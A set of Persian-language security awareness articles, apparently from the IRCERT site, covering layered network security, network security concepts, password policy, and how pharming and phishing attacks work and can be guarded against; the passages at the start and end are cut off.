بار اضافی برای رمزنگاری و رمزگشایی دیتا وجود دارد که می تواند تأثیرات زیادی در کارایی بگذارد. به علاوه، مدیریت کلیدها می تواند تبدیل به یک بار اجرایی در سازمان های بزرگ یا در حال رشد گردد.

ملاحظات

رمزنگاری تا عمق مشخص باید به دقت مدیریت شود. کلیدهای رمزنگاری باید برای تمام ابزارها و برنامه های تحت تأثیر تنظیم و هماهنگ شوند. به همین دلیل، یک بار مدیریتی برای یک برنامه رمزنگاری موثر مورد نیاز است.


﻿ IRCERT - رویکردی عملی به امنیت شبکه لایه بندی شده (6) : جمع بندی - مقالات

رویکردی عملی به امنیت شبکه لایه بندی شده (6) : جمع بندی

در شماره های قبل (۱، ۲، ۳، ۴ و ۵) به لایه های مختلف در امنیت شبکه لایه بندی شده پرداختیم. در این شماره به اختصار به جمع بندی مباحث فوق می پردازیم.

دفاع در مقابل تهدیدها و حملات معمول

مقالات گذشته نشان می دهد که چگونه رویکرد امنیت لایه بندی شده در مقابل تهدیدها و حملات معمول از شبکه شما محافظت می کند و نشان می دهد که چگونه هر سطح با داشتن نقشی کلیدی در برقراری امنیت شبکه جامع و مؤثر، شرکت می کند.

بعضی حملات معمول شامل موارد زیر می شود:

· حملات به وب سرور ـ حملات به وب سرور دامنه زیادی از مشکلاتی را که تقریباً برای هر وب سرور ایجاد می شود، در برمی گیرد. از دستکاری های ساده در صفحات گرفته تا در اختیار گرفتن سیستم از راه دور و تا حملات DOS. امروزه حملات به وب سرور یکی از معمول ترین حملات هستند. Code Red و Nimda به عنوان حمله کنندگان به وب سرورها از شهرت زیادی! برخوردارند.

· بازپخش ایمیل ها بصورت نامجاز ـ سرورهای ایمیلی که بصورت مناسب پیکربندی نشده اند یک دلیل عمده برای ارسال هرزنامه ها بشمار می روند. بسیاری از شرکت های هرزنامه ساز در پیدا کردن این سرورها و ارسال صدها و هزاران پیام هرزنامه به این سرورها، متخصص هستند.

· دستکاری میزبان دور در سطح سیستم ـ تعدادی از آسیب پذیری ها، یک سیستم را از راه دور در اختیار حمله کننده قرار می دهند. بیشتر این نوع کنترل ها در سطح سیستم است و به حمله کننده اختیاراتی برابر با مدیر محلی سیستم می دهد.

· فراهم بودن سرویس های اینترنتی غیرمجاز ـ توانایی آسان بکارگیری یک وب سرور یا سرویس اینترنتی دیگر روی یک کامپیوتر ریسک افشای سهوی اطلاعات را بالا می برد. اغلب چنین سرویس هایی کشف نمی شوند، در حالی که در شعاع رادار دیگران قرار می گیرند!

· تشخیص فعالیت ویروسی ـ در حالی که برنامه ضدویروس در تشخیص ویروس ها مهارت دارد، این نرم افزار برای تشخیص فعالیت ویروسی طراحی نشده است. در این شرایط بکارگیری یک برنامه تشخیص نفوذ یا IDS شبکه برای تشخیص این نوع فعالیت بسیار مناسب است.

نتیجه گیری

هکرها و تروریست های فضای سایبر به طور فزاینده ای اقدام به حمله به شبکه ها می کنند. رویکرد سنتی به امنیت ـ یعنی یک فایروال در ترکیب با یک آنتی ویروس ـ در محافظت از شما در برابر تهدیدهای پیشرفته امروزی ناتوان است.

اما شما می توانید با برقراری امنیت شبکه با استفاده از رویکرد لایه بندی شده دفاع مستحکمی ایجاد کنید. با نصب گزینشی ابزارهای امنیتی در پنج سطح موجود در شبکه تان (پیرامون، شبکه، میزبان، برنامه و دیتا) می توانید از دارایی های دیجیتالی خود محافظت کنید و از افشای اطلاعات خود در اثر ایجاد رخنه های مصیبت بار تا حد زیادی بکاهید.


﻿ IRCERT- مفاهیم امنیت شبکه - مقالات

مفاهیم امنیت شبکه

امنیت شبکه یا Network Security پردازه ای است که طی آن یک شبکه در مقابل انواع مختلف تهدیدات داخلی و خارجی امن می شود. مراحل ذیل برای ایجاد امنیت پیشنهاد و تایید شده اند:

1- شناسایی بخشی که باید تحت محافظت قرار گیرد.

2- تصمیم گیری درباره مواردی که باید در مقابل آنها از بخش مورد نظر محافظت کرد.

3- تصمیم گیری درباره چگونگی تهدیدات

4- پیاده سازی امکاناتی که بتوانند از دارایی های شما به شیوه ای محافظت کنند که از نظر هزینه به صرفه باشد.

5- مرور مجدد و مداوم پردازه و تقویت آن درصورت یاقتن نقطه ضعف

مفاهیم امنیت شبکه

برای درک بهتر مباحث مطرح شده در این بخش ابتدا به طرح بعضی مفاهیم در امنیت شبکه می پردازیم.

1- منابع شبکه

در یک شبکه مدرن منابع بسیاری جهت محافظت وجود دارند. لیست ذیل مجموعه ای از منابع شبکه را معرفی می کند که باید در مقابل انواع حمله ها مورد حفاظت قرار گیرند.

1- تجهیزات شبکه مانند روترها، سوئیچ ها و فایروالها

2- اطلاعات عملیات شبکه مانند جداول مسیریابی و پیکربندی لیست دسترسی که بر روی روتر ذخیره شده اند.

3- منابع نامحسوس شبکه مانند عرض باند و سرعت

4- اطلاعات و منابع اطلاعاتی متصل به شبکه مانند پایگاه های داده و سرورهای اطلاعاتی

5- ترمینالهایی که برای استفاد هاز منابع مختلف به شبکه متصل می شوند.

6- اطلاعات در حال تبادل بر روی شبکه در هر لحظه از زمان

7- خصوصی نگهداشتن عملیات کاربرن و استفاده آنها از منابع شبکه جهت جلوگیری از شناسایی کاربران.

مجموعه فوق به عنوان دارایی های یک شبکه قلمداد می شود.

2- حمله

حال به تعریف حمله می پردازیم تا بدانیم که از شبکه در مقابل چه چیزی باید محافظت کنیم. حمله تلاشی خطرناک یا غیر خطرناک است تا یک منبع قابل دسترسی از طریق شبکه ، به گونه ای مورد تغییر یا استفاده قرار گیرد که مورد نظر نبوده است.برای فهم بهتر بد نیست حملات شبکه را به سه دسته عمومی تقسیم کنیم:

1- دسترسی غیرمجاز به منابع و اطلاعات از طریق شبکه

2- دستکاری غیرمجاز اطلاعات بر روی یک شبکه

3- حملاتی که منجر به اختلال در ارائه سرویس می شوند و اصطلاحا Denial of Service نام دارند.

کلمه کلیدی در دو دسته اول انجام اعمال به صورت غیرمجاز است. تعریف یک عمل مجاز یا غیرمجاز به عهده سیاست امنیتی شبکه است، اما به عبارت کلی می توان دسترسی غیرمجاز را تلاش یک کاربر جهت دیدن یا تغییر اطلاعاتی که برای وی در نظر گرفته نشده است، تعریف نمود اطلاعات روی یک شبکه نیز شامل اطلاعات موجود بر روی رایانه های متصل به شبکه مانند سرورهای پایگاه داده و وب ، اطلاعات در حال تبادل بر روی شبکه و اطلاعات مختص اجزاء شبکه جهت انجام کارها مانند جداول مسیریابی روتر است. منابع شبکه را نیز می توان تجهیزات انتهایی مانند روتر و فایروال یا مکانیزمهای اتصال و ارتباط دانست.

هدف از ایجاد امنیت شبکه ، حفاظت از شبکه در مقابل حملات فوق است، لذا می توان اهداف را نیز در سه دسته ارائه کرد:

1- ثابت کردن محرمانگی داده

2- نگهداری جامعیت داده

3- نگهداری در دسترس بودن داده

3- حلیل خطر

پس از تعیین دارایی های شبکه و عوامل تهدیدکننده آنها ، باید خطرات مختلف را ارزیابی کرد. در بهترین حالت باید بتوان از شبکه در مقابل تمامی انواع خطا محافظت کرد، اما امنیت ارزان به دست نمی آید. بنابراین باید ارزیابی مناسبی را بر روی انواع خطرات انجام داد تا مهمترین آنها را تشخیص دهیم و از طرف دیگر منابعی که باید در مقابل این خطرات محافظت شوند نیز شناسایی شوند. دو فاکتور اصلی در تحلیل خطر عبارتند از :

1- احتمال انجام حمله

2- خسارت وارده به شبکه درصورت انجام حمله موفق

4- سیاست امنیتی

پس از تحلیل خطر باید سیاست امنیتی شبکه را به گونه ای تعریف کرد که احتمال خطرات و میزان خسارت را به حداقل برساند. سیاست امنیتی باید عمومی و در حوزه دید کلی باشد و به جزئیات نپردازد. جزئیات می توانند طی مدت کوتاهی تغییر پیدا کنند اما اصول کلی امنیت یک شبکه که سیاست های آن را تشکیل می دهند ثابت باقی می مانند.در واقع سیاست امنیتی سه نقش اصلی را به عهده دارد:

1- چه و چرا باید محافظت شود.

2- چه کسی باید مسئولیت حفاظت را به عهده بگیرد.

3- زمینه ای را بوجود آورد که هرگونه تضاد احتمالی را حل و فصل کند.

سیاستهای امنیتی را می توان به طور کلی به دو دسته تقسیم کرد:

1- مجاز (Permissive) : هر آنچه بطور مشخص ممنوع نشده است ، مجاز است.

2- محدود کننده (Restrictive) : هر آنچه بطور مشخص مجاز نشده است ، ممنوع است.

معمولا ایده استفاده از سیاستهای امنیتی محدودکننده بهتر و مناسبتر است چون سیاستهای مجاز دارای مشکلات امنیتی هستند و نمی توان تمامی موارد غیرمجاز را برشمرد. المانهای دخیل در سیاست امنیتی در RFC 2196 لیست و ارائه شده اند.

5- طرح امنیت شبکه

با تعریف سیاست امنیتی به پیاده سازی آن در قالب یک طرح امنیت شبکه می رسیم. المانهای تشکیل دهنده یک طرح امنیت شبکه عبارتند از :

1- ویژگیهای امنیتی هر دستگاه مانند کلمه عبور مدیریتی و یا بکارگیری SSH

2- فایروالها

3- مجتمع کننده های VPN برای دسترسی از دور

4- تشخیص نفوذ

5- سرورهای امنیتی AAA ( Authentication، Authorization and Accounting) و سایر خدمات AAA برای شبکه

6- مکانیزمهای کنترل دسترسی و محدودکننده دسترسی برای دستگاههای مختلف شبکه

6- نواحی امنیتی

تعریف نواحی امنیتی نقش مهمی را در ایجاد یک شبکه امن ایفا می کند. در واقع یکی از بهترین شیوه های دفاع در مقابل حملات شبکه ، طراحی امنیت شبکه به صورت منطقه ای و مبتنی بر توپولوژی است و یکی از مهمترین ایده های مورد استفاده در شبکه های امن مدرن ، تعریف نواحی و تفکیک مناطق مختلف شبکه از یکدیگر است. تجهیزاتی که در هر ناحیه قرار می گیرند نیازهای متفاوتی دارند و لذا هر ناحیه حفاظت را بسته به نیازهای امنیتی تجهیزات نصب شده در آن ، تامین می کند. همچنین منطقه بندی یک شبکه باعث ایجاد ثبات بیشتر در آن شبکه نیز می شود.

نواحی امنیتی بنابر استراتژی های اصلی ذیل تعریف می شوند.

1- تجهیزات و دستگاههایی که بیشترین نیاز امنیتی را دارند (شبکه خصوصی) در امن ترین منطقه قرار می گیرند. معمولا اجازه دسترسی عمومی یا از شبکه های دیگر به این منطقه داده نمی شود. دسترسی با کمک یک فایروال و یا سایر امکانات امنیتی مانند دسترسی از دور امن (SRA) کنترل می شود. کنترل شناسایی و احراز هویت و مجاز یا غیر مجاز بودن در این منطقه به شدت انجام می شود.

2- سرورهایی که فقط باید از سوی کاربران داخلی در دسترس باشند در منطقه ای امن ، خصوصی و مجزا قرار می گیرند. کنترل دسترسی به این تجهیزات با کمک فایروال انجام می شود و دسترسی ها کاملا نظارت و ثبت می شوند.

3- سرورهایی که باید از شبکه عمومی مورد دسترسی قرار گیرند در منطقه ای جدا و بدون امکان دسترسی به مناطق امن تر شبکه قرار می گیرند. درصورت امکان بهتر است هر یک از این سرورها را در منطقه ای مجزا قرار داد تا درصورت مورد حمله قرار گرفتن یکی ، سایرین مورد تهدید قرار نگیرند. به این مناطق DMZ یا Demilitarized Zone می گویند.

4- استفاده از فایروالها به شکل لایه ای و به کارگیری فایروالهای مختلف سبب می شود تا درصورت وجود یک اشکال امنیتی در یک فایروال ، کل شبکه به مخاطره نیفتد و امکان استفاده از Backdoor نیز کم شود.


﻿ IRCERT - انتخاب و محافظت از کلمات عبور - مقالات

انتخاب و محافظت از کلمات عبور

کلمات عبور بخش مهمی از امنیت کامپیوتر هستند و در حقیقت در خط مقدم حفاظت از اکانت کاربران قرار می گیرند. یک کلمه عبور نامناسب ممکن است منجر به سوءاستفاده از کل شبکه شود. بهمین دلیل تمام کارمندان شامل پیمانکاران و فروشندگان که به سیستم شرکت دسترسی دارند مسوول انتخاب کلمه عبور مناسب و محافظت از آن هستند.

در این مقاله به نکاتی در مورد ایجاد کلمات عبور قوی و محافظت از آنها و زمان انقضاء و تغییر آنها اشاره می شود. در حقیقت مخاطب این مقاله تمام افرادی هستند که مسوول اکانت یا هر سیستمی هستند که از طریق آن به شبکه یا اطلاعات غیرعمومی دسترسی دارند.

سیاست کلی

· تمام کلمات عبور در سطح سیستم باید حداقل سه ماه یکبار عوض شوند.

· تمام کلمات عبور سطح کاربر (مانند ایمیل یا کامپیوتر) باید هر شش ماه تغییر کنند که البته تغییر چهار ماهه توصیه می شود.

· اکانتهای کاربری که مجوزهای سطح سیستم دارند باید کلمات عبوری داشته باشند که با کلمات عبور دیگر اکانتهای آن کاربر متفاوت باشد.

· کلمات عبور نباید در ایمیلها یا سایر شکلهای ارتباطات الکترونیکی درج شوند.

· باید رهنمونهای زیر در تمام کلمات عبور سطح سیستم و سطح کاربر رعایت شود.

راهنماییها

راهنمایی کلی ساخت کلمه عبور

کلمات عبور برای اهداف گوناگونی در شرکتها استفاده می شوند. تعدادی از استفاده های معمول اینها هستند:

· اکانتهای سطح کاربر

· اکانتهای دسترسی به وب

· اکانتهای ایمیل

· حفاظت از مونیتور

· کلمه عبور صندوق پستی

· ورود به روتر محلی

چون سیستمهای بسیار کمی از نشانه های یکبارمصرف استفاده می کنند (مانند کلمات عبور دینامیک که فقط یکبار استفاده می شوند)، هرکسی باید از نحوه انتخاب کلمات عبور مناسب آگاه باشد.

کلمات عبور ضعیف معمولا مشخصات زیر را دارند:

· کلمه عبور شامل کمتر از هشت حرف است.

· کلمه عبور کلمه ای است که در یک فرهنگ لغت یافت می شود.

· کلمه عبور کلمه ای است که کاربرد عمومی دارد مانند:

o نام خانوادگی، حیوانات اهلی، دوستان، همکاران، شخصیت های خیالی و غیره

o نامها و اصطلاحات کامپیوتری، فرمانها، سایتها، شرکتها، سخت افزار و نرم افزار.

o نام شرکت یا کلمات مشتق شده از این نام.

o تاریخ های تولد و سایر اطلاعات شخصی مانند آدرس ها و شماره های تلفن.

o الگوهای کلمات یا شماره ها مانند aaabbb، qwerty، zyxwvuts، 123321 و غیره.

o هرکدام از عبارات فوق بطور برعکس.

o هرکدام از عبارات فوق که تنها با یک رقم شروع یا به آن ختم می شود.

کلمات عبور مناسب مشخصات زیر را دارند:

· شامل هم حروف کوچک و هم بزرگ هستند (a-z و A-Z)

· علاوه بر حروف از ارقام و نشانه ها هم در آنها استفاده می شود مانند 0-9 و !@#$%^&*()_+|~=’{}[];<>?./

· حداقل هشت حرف دارند.

· کلمه ای در هیچ زبان، گویش یا صنف خاص نیستند.

· برپایه اطلاعات شخصی، اسم یا فامیل نیستند.

· کلمات عبور هرگز نباید نوشته یا جایی ذخیره شوند. سعی کنید کلمات عبوری انتخاب کنید که بتوانید براحتی در ذهن داشته باشید. یک روش انجام این کار، ایجاد کلمه عبور بر پایه یک ترانه یا عبارت است. برای مثال عبارت “This May Be One Way To Remember” و کلمه عبور می تواند “TmB1w2R!” یا “Tmb1W>r~” یا انواع دیگری از همین الگو باشد.

توجه: این مثالها را بعنوان کلمه عبور استفاده نکنید.

استانداردهای حفاظت از کلمه عبور

از کلمات عبور مشترک برای اکانتهای شرکت و دسترسی های شخصی استفاده نکنید. تا جایی ممکن است، از کلمه عبور مشترک برای نیازهای مختلف شرکت استفاده نکنید. برای مثال، برای سیستمهای مهندسی یک کلمه عبور انتخاب کنید و یک کلمه عبور دیگر برای سیستمهای IT . همچنین برای استفاده از اکانتهای NT و UNIX کلمات عبور متفاوت انتخاب کنید.

کلمات عبور شرکت با هیچ کس از جمله دستیاران و منشی ها در میان نگذارید. باید با تمام کلمات عبور بصورت اطلاعات حساس و محرمانه برخورد شوند.

در اینجا به لیستی از “انجام ندهید ”ها اشاره می شود.

· کلمه عبور را از طریق تلفن به هیچ کس نگویید.

· کلمه عبور را از طریق ایمیل فاش نکنید.

· کلمه عبور را به رئیس نگویید

· در مورد کلمه عبور در جلوی دیگران صحبت نکنید.

· به قالب کلمه عبور اشاره نکنید (مثلا نام خانوادگی)

· کلمه عبور را روی فهرست سوالات یا فرمهای امنیتی درج نکنید.

· کلمه عبور را با اعضای خانواده در میان نگذارید.

· کلمه عبور را هنگامی که در مرخصی هستید به همکاران نگویید.

اگر کسی از شما کلمه عبور را پرسید، از ایشان بخواهید که این مطلب را مطالعه کند یا اینکه با کسی در قسمت امنتیت اطلاعات تماس بگیرد.

از ویژگی “Remember Password” یا حفظ کلمه عبور در کامپیوتر استفاده نکنید.

مجددا، کلمات عبور را در هیچ جای محل کار خود ننویسید و در فایل یا هر سیستم کامپیوتری ذخیره نکیند (شامل کامپیوترهای دستی) مگر با رمزکردن.

کلمات عبور را حداقل هر شش ماه عوض کنید (بجز کلمات عبور سطح سیستم که باید هر سه ماه تغییر کنند).

اگر هر اکانت یا کلمه عبور احتمال فاش و سوءاستفاده از آن میرود، به بخش امنیت اطلاعات اطلاع دهید و تمام کلمات عبور را تغییر دهید.

شکستن یا حدس زدن کلمه عبور ممکن است در یک زمان متناوب یا اتفاقی توسط بخش امنیت اطلاعات یا نمانیدگی های آن رخ دهد. اگر کلمه عبور در طول یکی از این پیمایش ها حدس زده یا شکسته شود، از کاربر خواسته خواهد شد که آن را تغییر دهد.

رعایت موارد مذکور، به حفاظت بیشتر از اطلاعات و قسمتهای شخصی افراد کمک خواهد کرد.


﻿ IRCERT - مقالات - pharming آشنایی با حملات

آشنایی با حملات pharming

تهدیدهای جدیدی که هویت و اطلاعات کاربر را هدف قرار داده اند،‌رویکردهای جدید امنیتی را طلب می کند.

امروزه، حملات phishing ساده تر و کم خطرتر از تهدیدهای آنلاینی که در حال تجربه شدن هستند، به نظر می رسند. حملات phishing به آسانی شناخته می شوند و می توان به سرعت آنها را از کار انداخت. جرائم سازمان یافته از این حد گذشته و پیچیدگی آنها به طرز چشم گیری افزایش یافته است. امروزه، کاربران با اشکال موذیانه تری از حمله مواجه می شوند و کشف و مقابله علیه آنها بسیار مشکل تر است.

گونه ای جدید از حمله

این گونه جدید حمله بعنوان pharming شناخته می شود. pharming بجای اینکه کاربر را گول بزند تا به یک ایمیل تقلبی پاسخ دهد تا او را به یک وب سایت جعلی هدایت کند، برای فریب دادن کاربر برای تسلیم هویت و اطلاعات حساسش، از روش های زیرکانه تری استفاده می کند. این حملات از اسب های تروا (تروجان) برای نصب برنامه های کلیدخوان و برنامه های هدایت کننده استفاده می کنند تا به یک نفوذگر اجازه دهند کلمات عبور و شماره کارت های اعتباری را بدست آورد، بدون اینکه کاربر مجبور به انجام کاری غیرعادی باشد. در اینجا دو مثال از نحوه این حمله آورده شده است:

۱- کاربر یک ایمیل ظاهراً صحیح را باز می کند که او را تشویق می کند تا فایل الحاقی به ایمیل را باز کند. این فایل الحاقی بصورت مخفیانه یک «کلیدخوان» (برنامه ای است که کلیدهایی را که توسط کاربر زده می شود، ثبت می کند) نصب می کند. هنگامی که کاربر به بانک آنلاین خود سر می زند، کلیدخوان این را تشخیص می دهد و ورودی های صفحه کلید کاربر را هنگامی که وی اسم و کلمه عبور را تایپ می کند، ثبت می کند. سپس این اطلاعات برای نفوذگر ارسال می شود تا برای دسترسی به حساب کاربر استفاده شود.

۲- یک کاربر ممکن است با دانلود کردن یک فایل یا مشاهده یک وب سایت که حاوی ActiveX control است، سهواً یک «هدایت کننده» (redirector) را روی سیستم خود نصب کند. این کار باعث می شود که فایل های موجود در سیستم دچار تغییراتی شود و هنگامی که کاربر به بانک آنلاین خود سر می زند، به وب سایت نفوذگر هدایت شود. این عمل می تواند با مسموم کردن سرور DNS انجام گیرد که برای آدرس بانک آنلاین کاربر، IP وب سایت نفوذگر را می فرستد. حملات پیچیده تر می توانند ارتباط را با بانک کاربر برقرار کنند و هنگامی که پروسه در حال انجام است، ترافیک عبوری بین کاربر و بانک (شامل کلمات عبور و اطلاعات شخصی) را مشاهده کنند. در اصل نفوذگر خود را بین کاربران و بانک قرار می دهد.

چه می توان کرد؟

از نظر تاریخی، رویکرد امنیتی که برای این نوع از حملات بکار گرفته شده است، مشابه مفهوم گارد مرزی (Boarder Guard) بوده است. ورود موارد زیان رسان را به کامپیوتر متوقف کنید و جلوی کاربر را از رفتن به مکان های بد بگیرید. ابزارهایی مانند آنتی ویروس، ضدجاسوس، فایروال ها و تشخیص دهندگان نفوذ، همگی چنین رویکردی دارند. به هرحال، همچنانکه حملات به رشد خود ادامه می دهند و پیچیده تر می شوند، نمی توان از احتمال نصب شدن موفقیت آمیز یک کلیدخوان یا هدایت کننده علیرغم این گاردهای مرزی، غافل ماند.

برای سروکار داشتن با این احتمال، رویکرد متفاوت دیگری مورد نیاز است. علاوه بر ابزارهایی که ذکر آنها رفت، نیاز است که هویت و اطلاعات کاربران توسط محافظ شخصی (body guard) مراقبت شود. یعنی، نیاز است که هویت و اطلاعات شخص بدون در نظر گرفتن نوع حمله و جایی که اطلاعات کاربر به آنجا می رود، همواره امن باقی بماند. این نوع امنیت قابلیت های محافظ شخصی را برای هویت کاربر ایجاد می کند و اهمیتی ندارد که اطلاعات کاربر به کجا فرستاده می شود و کلیدخوان نصب شده است و یا اینکه نفوذگر می تواند ترافیک اینترنت را نظارت کند.

دو قابلیت امنیتی وجود دارد که می تواند توانایی این محافظ شخصی را پیاده کند. اولی تصدیق هویت قوی (strong authentication) است. امروزه، کاربران عموماً برای محافظت از هویتشان به یک کلمه عبور اطمینان می کنند، اما احتمال زیادی وجود دارد که کلمه عبور توسط کسی که نظاره گر login است، دزدیده شود. داشتن یک عامل اضافی برای تصدیق هویت، یعنی چیزی که کاربر باید بصورت فیزیکی داشته باشد علاوه بر آنچه که می داند، می تواند یک هویت آنلاین را در برابر حمله محافظت کند. این کار قابل مقایسه با چگونگی تأیید هویت کاربران در ماشین های خودپرداز بانک است. کاربران هم کارت بانکی دارند و هم PIN را می دانند. با تصدیق هویت قوی، اگر کلیدخوان هم نصب شده باشد، می تواند تنها کلمه عبور را بگیرد و نه عامل فیزیکی استفاده شده در پروسه تصدیق هویت را. کلمه عبور به تنهایی و بدون فاکتور فیزیکی نمی تواند توسط نفوذگر برای دسترسی به حساب کاربر مورد استفاده قرار گیرد.

توانایی مهم دوم رمزنگاری مداوم است. امروزه، SSL (Secure Socket Layer) از اطلاعات ارسال شده توسط کاربران بگونه ای محافظت می کند که انگار تنها به سرور هدف ارسال می شوند. برای مثال، اگر یک کاربر کلمه عبور خود را وارد کند، به راحتی تا زمان رسیدن به و ب سرور در طرف دیگر، قابل مشاهده است. در مورد یک حمله هدایت کننده، ارتباط امن در سایت نفوذگر پایان می پذیرد و قبل از اینکه به سازمان آنلاین قانونی ارسال شود، دیتای کاربر در معرض افشاء قرار می گیرد. رمزنگاری مستمر می تواند از دیتا ،بدون در نظر گرفتن امنیت ارتباط، محافظت کند. ورودی های کاربر قبل از ترک کامپیوتر کاربر رمز می شوند و می توانند تنها توسط سازمان قانونی که به سرورهای طرف دیگر دسترسی دارد، رمزگشایی شوند. حتی اگر دیتا به این سرور نرسد، رمزشده باقی خواهد ماند و برای یک نفوذگر قابل استفاده نیست.

این دو قابلیت به همراه هم، می توانند نقش محافظ شخصی را برای محافظت از هویت و اطلاعات کاربر در دنیای خصمانه! اینترنت ایفاء کنند.

بررسی دنیای واقعی

چند انتخاب وجود دارند که می توانند امنیت محافظ شخصی را فراهم کنند اما باید با استفاده از نیازهای دنیای واقعی اینترنت ارزیابی شوند. چنانچه کاربر با یک تکنولوژی احساس راحتی نکند، آن را نخواهد پذیرفت. اگر تکنولوژی خیلی گران باشد، نه برای کاربر انتهایی قابل تهیه خواهد بود و نه برای سازمان مربوطه.

چندین عامل وجود دارد که باید به هنگام تشویق کاربران به پذیرش تکنولوژی مورد نظر مورد توجه قرار گیرند:

· نرم افزار کلاینت ـ هر نیازی به دانلود و نصب نرم افزار به عنوان یک مانع است...

· واسط نرم افزار ـ خطرات و پیچیدگی که کاربر برای پیاده سازی تجربه می کند...

· راحتی استفاده ـ مخصوصاً برای تصدیق هویت دو عامله! ، راحتی استفاده شامل قابلیت حمل، دوام است. سهولت کار با واسط کاربر نیز مورد توجه جدی است.

مشخصاً زمانی که از این نوع فناوری با مقیاس بالا بکارگرفته شود، هزینه این رویکرد می تواند در امکانپذیری آن موثر باشد. اگر هزینه کل سیستم خیلی بالا باشد، سازمان ها برای برقراری این امنیت اضافی برای یک مورد تجاری مورد قبول، نیاز به مطالبات مالی از کاربران دارند. در این موارد کاربران به راحتی راضی به پرداخت های اضافی برای برقراری این امنیت بیشتر نمی شوند.

به این منظور تکنولوژی های محافظ شخصی باید سطح بالایی از امنیت را در حالی که هزینه کمی در بردارند و برای استفاده آسان هستند، فراهم کنند.


﻿ IRCERT - دزدی هویت - مقالات

phishing یا دزدی هویت

هنگامی که گمان می کردید که می توانید با اطمینان به سراغ میل باکس خود بروید، نوع جدیدی از تقلب در راه بود. Phishing؛ حیله های phishing چیزی فراتر از هرزنامه های ناخواسته و مزاحم هستند. آنها می توانند منجر به دزدیده شدن شماره های اعتباری، کلمات عبور، اطلاعات حساب یا سایر اطلاعات شخصی شما شوند. این مطلب را بخوانید تا بیشتر در مورد این نوع دزدی هویت بدانید و بیاموزید چگونه می توانید به حفاظت از اطلاعات شخصی خود در برابر این نوع حمله کمک کنید.{مرکز امداد امنیت کامپیوتری ایران}

Phishing چیست؟

نوعی از فریب است که برای دزدیدین هویت شما طراحی شده است. در یک حیله از نوع phishing، یک فرد آسیب رسان سعی می کند تا اطلاعاتی مانند شماره های اعتباری و کلمات عبور یا سایر اطلاعات شخصی شما را با متقاعد کردن شما به دادن این اطلاعات تحت ادعاهای دروغین بدست آورد. این نوع حملات معمولاً از طریق هرزنامه یا پنجره های pop-up می آیند.

Phishing چگونه کار می کند؟

یک فریب phishing توسط یک کاربر بداندیش که میلیون ها ایمیل فریبنده ارسال می کند، آغاز می شود بطوریکه بنظر می رسد که از وب سایتهای معروف یا از سایت های که مورد اعتماد شما هستند، مانند شرکت کارت اعتباری یا بانک شما می آیند. ایمیل ها و وب سایتهایی که از طریق ایمیل ها برای شما ارسال می شود، آنقدر رسمی بنظر می رسند که بسیاری از مردم را به این باور می رسانند که قانونی هستند. با این باور که این ایمیل ها واقعی هستند، افراد زودباور اغلب به تقاضای این ایمیل ها مبنی بر شماره های کارت اعتباری، کلمات عبور و سایر اطلاعات شخصی پاسخ می دهند.

یک جاعل! لینکی در یک ایمیل جعلی قرار می دهد که اینگونه بنظر می رسد که لینک به وب سایت واقعی است، اما در واقع شما را به سایت تقلبی یا حتی یک پنجره pop-up می برد که دقیقاً مانند سایت اصلی بنظر می رسد. این کپی ها اغلب وب سایت های spoofed نامیده می شوند. زمانیکه شما در یکی از این وب سایت ها یا pop-upهای تقلبی هستید ممکن است ناآگاهانه حتی اطلاعات شخصی بیشتری وارد کنید که مستقیماً به شخصی که این سایت تقلبی را درست کرده است، ارسال خواهد شد. این شخص آن موقع می تواند از این اطلاعات برای خرید کالا یا تقاضا برای یک کارت اعتباری جدید یا سرقت هویت شما اقدام کند.

پنج روش که به شما در محافظت از خودتان در مقابل phishing کمک می کند

همانند دنیای فیزیکی، جاعلان در دنیای اینترنت ایجاد روش های جدید و گمراه کننده تر را برای فریب شما ادامه می دهند. اما پی گیری این پنج روش به شما برای محافظت از اطلاعات شخصیتان کمک می کند.

۱- هرگز به تقاضاهایی که از طریق ایمیل یا پنجره های pop-up اطلاعات شخصی شما را می خواهند، پاسخ ندهید. اگر شک دارید، با موسسه ای که مدعی ارسال ایمیل یا پنجره pop-up است، تماس بگیرید.

اکثر مراکز تجاری قانونی، کلمات عبور، شماره کارت های اعتباری و سایر اطلاعات شخصی را از طریق ایمیل مورد سوال قرار نخواهند داد. اگر ایمیلی اینچنین دریافت کردید، پاسخ ندهید. اگر فکر می کنید که ایمیل صحت دارد، برای تایید از طریق تلفن یا وب سایتشان با آنها تماس بگیرید. اگر احساس می کنید که هدف یک حیله phishing قرار گرفته اید، گام بعدی را برای بهترین روش های رفتن به وب سایت ببینید.

۲- وب سایت ها را با تایپ آدرس آنها در address bar ببینید.

اگر شک دارید که ایمیل از شرکت کارت اعتباری، بانک، سرویس پرداخت آنلاین یا وب سایتهای دیگری است که با آنها تجارت انجام می دهید نباشد، لینک ها را از طریق ایمیل برای رفتن به وب سایت دنبال نکنید. آن لینک ها ممکن است شما را به سایت جعلی ببرند که تمام اطلاعاتی را که وارد می کنید برای جاعل آن سایت ارسال کنند.

حتی اگر address bar آدرس درستی نشان می دهد، خطر آن را نپذیرید. چندین روش برای هکرها وجود دارد تا یک URL جعلی در address bar مرورگرتان نمایش دهند. نسخه های جدیدتر مرورگرها جعل آدرس را مشکل تر می کنند، بنابراین بهتر است که مرورگرتان را مرتب به روز نگهدارید. اگر فکر می کنید که این به روزرسانی ها را همواره به یاد نخواهید داشت، می توانید کامپیوترتان را برای بروزرسانی های خودکار پیکربندی کنید.

۳- بررسی کنید تا مطمئن شوید که وب سایت از رمزنگاری استفاده می کند.

اگر به دسترسی به وب سایت از طریق address bar اعتماد ندارید، چگونه میدانید که ممکن است امن باشد؟ چند روش مختلف وجود دارد. نخست، قبل از وارد کردن هرگونه اطلاعات شخصی، بررسی کنید که آیا سایت از رمزنگاری برای ارسال اطلاعات شخصی شما استفاده می کند. در اینترنت اکسپلورر می توانید این عمل را با دیدن آیکون قفل زردرنگی که در status bar نشان داده می شود، بررسی کنید.

این نشانه دلالت بر استفاده از وب سایت از رمزنگاری برای کمک به محافظت از اطلاعات حساس دارد. ـ شمار کارت اعتباری، شماره امنیتی اجتماعی، جزئیات پرداخت – که شما وارد می کنید.

بر روی این علامت دوبار کلیک کنید تا گواهی امنیتی برای سایت نشان داده شود. نام بعد از Issued to باید با سایتی که در آن حاضر هستید مطابقت کند. اگر نام متفاوت است، احتمالاً در سایت جعلی قرار دارید. اگر مطمئن نیستید که یک گواهی قانونی است، هیچ اطلاعات شخصی وارد نکنید. احتیاط کنید و سایت را ترک کنید.

۴- بطور منظم اعلامیه های کارت اعتباری و بانک تان را مرور کنید.

